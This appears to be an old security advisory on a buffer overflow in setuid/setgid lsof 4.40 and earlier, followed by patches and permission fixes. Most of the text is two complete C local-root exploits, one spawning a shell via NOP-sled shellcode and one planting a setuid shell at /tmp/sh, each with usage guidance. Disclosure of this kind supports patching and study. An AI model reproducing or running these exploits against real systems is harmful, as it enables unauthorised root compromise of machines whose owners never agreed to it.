COMMAND
lsof
SYSTEMS AFFECTED
OpenBSD 2.4, FreeBSD, SuSe Linux, Debian 2.0, Redhat 5.2
PROBLEM
Following is based on HERT advisory. Lsof lists information about
files opened by processes for most UNIX dialects. When lsof is
setuid-root or setgid kmem, it is vulnerable to a buffer overflow
that will lead to direct root compromise or root compromise thru
live kernel patching. The paradox is that lsof is a great
security tool for administrators and it is encouraged its use as
long as it is NOT setuid-root or setgid. Affected are lsof v4.40
and prior.
Anyway the /dev/kmem warning is over-stated. Most systems don't
give the group that can read /dev/kmem write permission. However,
some systems at times have used the same group ownership for
/dev/kmem and important system directories, AND made those
directories and some of their files group writeable. In that case
a stack attacked lsof might be able to do file or directory
damage. There are three lsof installations that could be
setuid(root): Pyramid DC/OSx lsof, /proc-based Linux lsof
(generally Linux kernels 2.1.72 and above), and Pyramid Reliant
UNIX lsof. Lsof drops its set[gu]id permissions as soon as
possible. Exploit follows:
/*
*
* Xploit for lsof 4.0.4 by Zhodiac <zhodiac@usa.net>
* Based on Aleph's article in phrack49
*
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 32
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
char comando[512];
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
printf("\nXploit for lsof 4.04 by zhodiac <zhodiac@usa.net>\n\n");
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
snprintf(comando,511,"lsof -u %s",buff);
system(comando);
}
Another exploit (notice it will create a suid/sgid bash at /tmp/sh
owned by the lsof's user/group. Please, read the expl comments for
further information):
/*
* Sekure SDI (Brazilian Information Security Team)
* lsof local exploit for linux
* by c0nd0r <condor@sekure.org>
*
* Security problem found by HERT. (www.hert.org)
*
* -> This little tool will bring you a suid or sgid shell owned by lsof
* user (root|kmem usually) at /tmp directory (/tmp/sh).
*
* -----------------------------------------------------------------------
* Code explanation: We've used a unsual technique here.
* The buffer allocated was too small for the standard expl, so we did a
* little trick, by overflowing with 'A' till reaching the ret address and
* then we've filled with NOP and the shellcode just after the modified
* ret address. So we have a different exploit architeture:
* [garbage][eip modified][lotsa NOP's][shellcode]
* That's why we need a bigger offset.
* -----------------------------------------------------------------------
*
* usage ( needa have a little brain):
* ./SDI-lsof <offset> (between 373-505)
*
* 4 phun - http://www.sekure.org
* Thanks to jamez, dumped, bishop, bahamas, slide, falcon, vader
* and guys at #uground (irc.brasnet.org network)
*
*/
/* change the lsof path if it's needed */
#define PATH "/usr/bin/lsof"
char shellcode[] =
"\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
"\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
"\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
"\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";
unsigned long getsp ( void) {
__asm__("mov %esp,%eax");
}
main ( int argc, char *argv[0]) {
char b00m[220];
long addr;
int x, y, offset=380;
if (argc > 1) offset = atoi(argv[1]);
for (x = 0; x < 16; x++)
b00m[x] = 'A';
addr = getsp() + offset;
printf ( "SDI-lsof exploiting at 0x%x\n", addr);
b00m[x++] = addr & 0x000000ff;
b00m[x++] = (addr & 0x0000ff00) >> 8;
b00m[x++] = (addr & 0x00ff0000) >> 16;
b00m[x++] = (addr & 0xff000000) >> 24;
for ( ; x < 100; x++)
b00m[x] = 0x90;
for (y = 0; y < strlen(shellcode); y++, x++)
b00m[x] = shellcode[y];
b00m[strlen(b00m)] = '\0';
printf ( "\nFind a suid shell at /tmp/sh...\n\n");
execl ( PATH, PATH, "-u", b00m, (char *)0);
perror ( "execl") ;
}
SOLUTION
Quick fix:
chmod 0755 lsof
Patch is available at:
ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/patches/4.40/arg.c.patch
Since this is a buffer overflow in enter_uid() which is called out
of main() the operating systems which have the RA lower on the
stack and require two returns will not be vulnerable to this.
That means that this bug is not exploitable on Digital Unix,
Solaris/sparc and IRIX(?). It would be exploitable in principle
on Solaris/x86 and on any other O/S with the RA above the stack.
Digital Unix, Solaris and IRIX to my knowledge don't ship with
lsof, but admins may have installed them suid or sgid in
/usr/local/bin... Debian 2.1 fixed this. For 2.0 users, problem
is fixed in version 4.37-3. Archives:
ftp://ftp.debian.org/debian/dists/proposed-updates/lsof_4.37-3.diff.gz
ftp://ftp.debian.org/debian/dists/proposed-updates/lsof_4.37-3.dsc
ftp://ftp.debian.org/debian/dists/proposed-updates/lsof_4.37.orig.tar.gz
ftp://ftp.debian.org/debian/dists/proposed-updates/lsof-2.0.35_4.37-3_i386.deb
ftp://ftp.debian.org/debian/dists/proposed-updates/lsof-2.0.36_4.37-3_m68k.deb
As for SuSE, execute the following command:
/bin/chmod 640 /dev/kmem
Install the 2.0.36 or a 2.2.x kernel.